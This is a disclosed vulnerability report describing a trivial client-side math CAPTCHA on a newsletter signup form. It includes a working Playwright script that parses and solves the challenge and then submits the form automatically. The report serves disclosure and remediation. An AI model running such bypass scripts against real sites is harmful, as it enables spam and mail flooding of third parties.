

- DISCLOSED VULNERABILITY REPORT -

By Prv | [mail](#) | [github](#) | [bugcrowd](#) |

Name: Insecure Captcha Bypass VIA Browser Emulation

Vulnerability type: Weak CAPTCHA Implementation

Severity: Low-Medium

Vulnerability Description:

On a client domain, a captcha is implemented in order to stop automated requests against email newsletter signups:

Simple Math Problem

8 + 6 =

Submit

This is to prevent exhaustive attacks against the service via a HTTP POST flood and to stop spam emails or attackers using the service to flood others with mail.

But due to the nature of how this is set up, an attacker can easily bypass this VIA the use of a simple automation script:

```

import re
from playwright.sync_api import sync_playwright

URL = "https://www.example.com/newsletter-signup"

def solve_math(text: str) -> int:
    """
    Solves simple math like:
    8 + 6 =
    12 - 3 =
    4 * 5 =
    20 / 4 =
    """
    match = re.search(r"(\d+)\s*([+|-*/])\s*(\d+)", text)
    if not match:
        raise ValueError(f"Could not parse math problem: {text}")

    a, op, b = match.groups()
    a, b = int(a), int(b)

    if op == "+":
        return a + b
    if op == "-":
        return a - b
    if op == "*":
        return a * b
    if op == "/":
        return a // b

with sync_playwright() as p:
    browser = p.chromium.launch(headless=False)
    page = browser.new_page()
    page.goto(URL)
    math_text = page.locator(
        "h3:has-text('Simple Math Problem') + p"
    ).inner_text()

    print("Math problem:", math_text)

    answer = solve_math(math_text)
    print("Answer:", answer)
    page.fill("#cap", str(answer))
    page.click("#submit")

    browser.close()

```

This can allow an attacker to bypass the protection mechanisms of the Captcha and automate the sending of requests.

The current CAPTCHA implementation on the newsletter and help registration endpoint relies on a client-side, plaintext "simple math" challenge that is rendered directly in the HTML and validated without sufficient server-side protections. Because the arithmetic challenge is trivial and fully exposed to the browser, it can be programmatically parsed and solved using basic automation tools (e.g., Playwright, Selenium, or HTTP clients).

As a result, an attacker can fully bypass the intended anti-automation control and submit arbitrary volumes of automated requests. This defeats the CAPTCHA's primary purpose of preventing scripted abuse.

Resolution:

This issue was addressed with the security team of the site and a working fix was planned to be implemented, reputational rewards were given as a result of the finding and further advisories were given as to which CAPTCHA mechanisms to implement in future.

This document is a disclosed vulnerability report by a practised security researcher, all vulnerabilities and issues mentioned in this report have been released under the permission of the owner and/or have been mitigated against and fixed before this report was written, if by any chance the contents of this report can be replicated this is due to another vulnerability or mere coincidence, please report any issues or regards: prv@anche.no
